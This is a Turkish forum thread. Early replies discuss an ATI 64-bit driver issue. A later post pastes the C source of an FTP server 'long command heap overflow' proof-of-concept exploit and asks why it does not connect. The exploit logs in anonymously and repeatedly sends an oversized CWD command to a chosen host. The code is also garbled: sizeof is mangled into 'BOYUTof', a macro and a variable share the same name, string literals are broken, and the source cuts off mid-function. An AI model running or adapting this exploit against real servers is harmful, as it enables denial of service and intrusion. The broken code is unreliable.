Sorusu olan varsa buyrun... - sayfa: 2
Re:Re:Cvp
[quote=17320] Yazan: BearPower2
cevap: ilk olarak şunu öyliyim.. ati ekran kartının sürücüsü ile gelen catalist ve diğer ekletiler var onları kurmadan sadece driveri kurmanı tavsiye ederim. benim başımada geldi ve bende çalıştıramadım ve temiz bir sistemde ilk olarak ekran kartının sürücüsünü yükledim.. oldu..bunu denesen iyi olur.. ;)
[/quote]
Ati bu sorunu kabul ediyor sorun netframework ile alakalı bir sorun tam olarak bir çözümü yok. 64 driver driverlarında bu sorun var sadece. 7.2 ve daha önceki sürümlerinde bu sorun yok. 7.2 den sonraki yani en son çıkan 7.8 e kadar olan bütün driverlarda bu sorun var.
Re:Re:Re:Cvp
Ati bu sorunu kabul ediyor sorun netframework ile alakalı bir sorun tam olarak bir çözümü yok. 64 driver driverlarında bu sorun var sadece. 7.2 ve daha önceki sürümlerinde bu sorun yok. 7.2 den sonraki yani en son çıkan 7.8 e kadar olan bütün driverlarda bu sorun var.[/quote]
Açıklama için saol dostum.. benimde çalıştırdığım dediğim ver. 7.2 önceki versiyonlar..
kolay gele..
Cvp
Asagidaki kod bir ftp sunucuya baglanip guvenlik testi yapacak fakat baglanmiyor nedeni ne olaki?
Kolay gele...
[pre]
/*
*-----------------------------------------------------------------------
*
* *****.c - ***** *** Server Long Command Heap Overflow PoC Exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author : ruby
* : ruby@packetstormsecurity.org
* : http://packetstormsecurity.org
* Date : 2004-08-30
*
*-----------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define FTPPORT 28
#define BUFFBOYUT 204800
#define TASMABOYUTU 20480
#define BOYUT 2048
// yordam
int create_socket();
int client_connect(int sockfd,char* server,int port);
int writebuf(char *s,int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
void checkstatus(char *s);
void loginftp(SOCKET sockfd, char *user, char *pass);
int show = 1;
char recvbuf[BUFFBOYUT];
char sendbuf[BUFFBOYUT];
void main(int argc, char *argv[])
{
WSADATA wsa;
unsigned short port;
unsigned long ip;
char user[32] = "anonymous";
char pass[32] = "anonymous";
char *command = "CWD ";
SOCKET s;
int BOYUT = TASMABOYUTU;
printf("***** *** Server Long Command Heap Overflow PoC Exploit
");
printf("ruby ruby#packetstormsecurity.org, http://www.packetstormsecurity.org
");
if(argc < 3)
{
printf("%s <HedefHost> <HedefPort>
", argv[0]);
return;
}
WSAStartup(MAKEWORD(2,2),&wsa);
while(1)
{
if((s=create_socket())==0)
{
printf("[-] HATA: Soket olusturulamadi..
");
return;
}
if(!client_connect(s, argv[1], atoi(argv[2])))
exit(-1);
loginftp(s, user, pass);
memset(sendbuf, 0 ,BUFFBOYUT);
memcpy(sendbuf, "pasv
", 6);
writebuf("Send pasv", s, sendbuf, 6);
readbuf("read", s, recvbuf, BUFFBOYUT);
memset(sendbuf, 0, BUFFBOYUT);
memset(sendbuf, ´A´, BOYUT);
memcpy(sendbuf, command, strlen(command));
sendbuf[BOYUT-2] =´
´;
sendbuf[BOYUT-1] =´
´;
printf("buffer boyutu :%d
%s
", strlen(sendbuf), sendbuf);
show=1;
writebuf("Hafiza tasmasi olustur", s, sendbuf, BOYUT);
readbuf("read", s, recvbuf, BUFFBOYUT);
// CIKIS
memset(sendbuf,0, BUFFBOYUT);
sprintf(sendbuf, "%s
", "CIKIS");
writebuf("CIKIS hafizasi", s, sendbuf, strlen(sendbuf));
//goster=1;
//readbuf("[+] CIKIS......", s, recvbuf, BUFFBOYUT);
//return;
if(s)
closesocket(s);
Sleep(2000);
}
WSACleanup();
}
int create_socket()
{
int sockfd;
sockfd=socket(AF_INET,SOCK_STREAM,0);
if(sockfd<0)
{
printf("[-] Soket olusturma hatasi.
");
return(0);
}
return(sockfd);
}
int client_connect(int sockfd,char* server,int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;
if((host=gethostbyname(server))==NULL)
{
printf("[-] ERROR: gethostbyname(%s) error
", server);
return(-1);
}
memset(&cliaddr, 0, BOYUTof(struct sockaddr));
cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port);
cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
printf("[+] Trying %s:%d......", server, port);
fflush(stdout);
if(connect(sockfd,(struct sockaddr *)&cliaddr,BOYUTof(struct sockaddr))<0)
{
printf("HATA!
");
closesocket(sockfd);
return(-1);
}
printf("TAMAM!
");
return(1);
}
int writebuf(char *s,int socket,char *buffer,int len)
{
int j;
if(s)
{
printf("[+] %s......", s);
fflush(stdout);
}
j=send(socket,buffer,len,0);
if(j<=0)
{
printf("FAILED!
");
exit(-1);
}
printf("OK!
");
return j;
}
int readbuf(char *s,int socket,char *buffer,int len)
{
int a,b,i,j=0;
a=b=i=0;
memset(buffer,0,len);
if(s)
{
printf("[+] %s......", s);
fflush(stdout);
}
j=recv(socket,buffer,len-1,0);
if(j <= 0)
{
if(s) printf("HATA!
");
printf("[-] Data alma hatasi.
");
exit(-1);
}
if(s) printf("TAMAM!
");
buffer[len-1]=´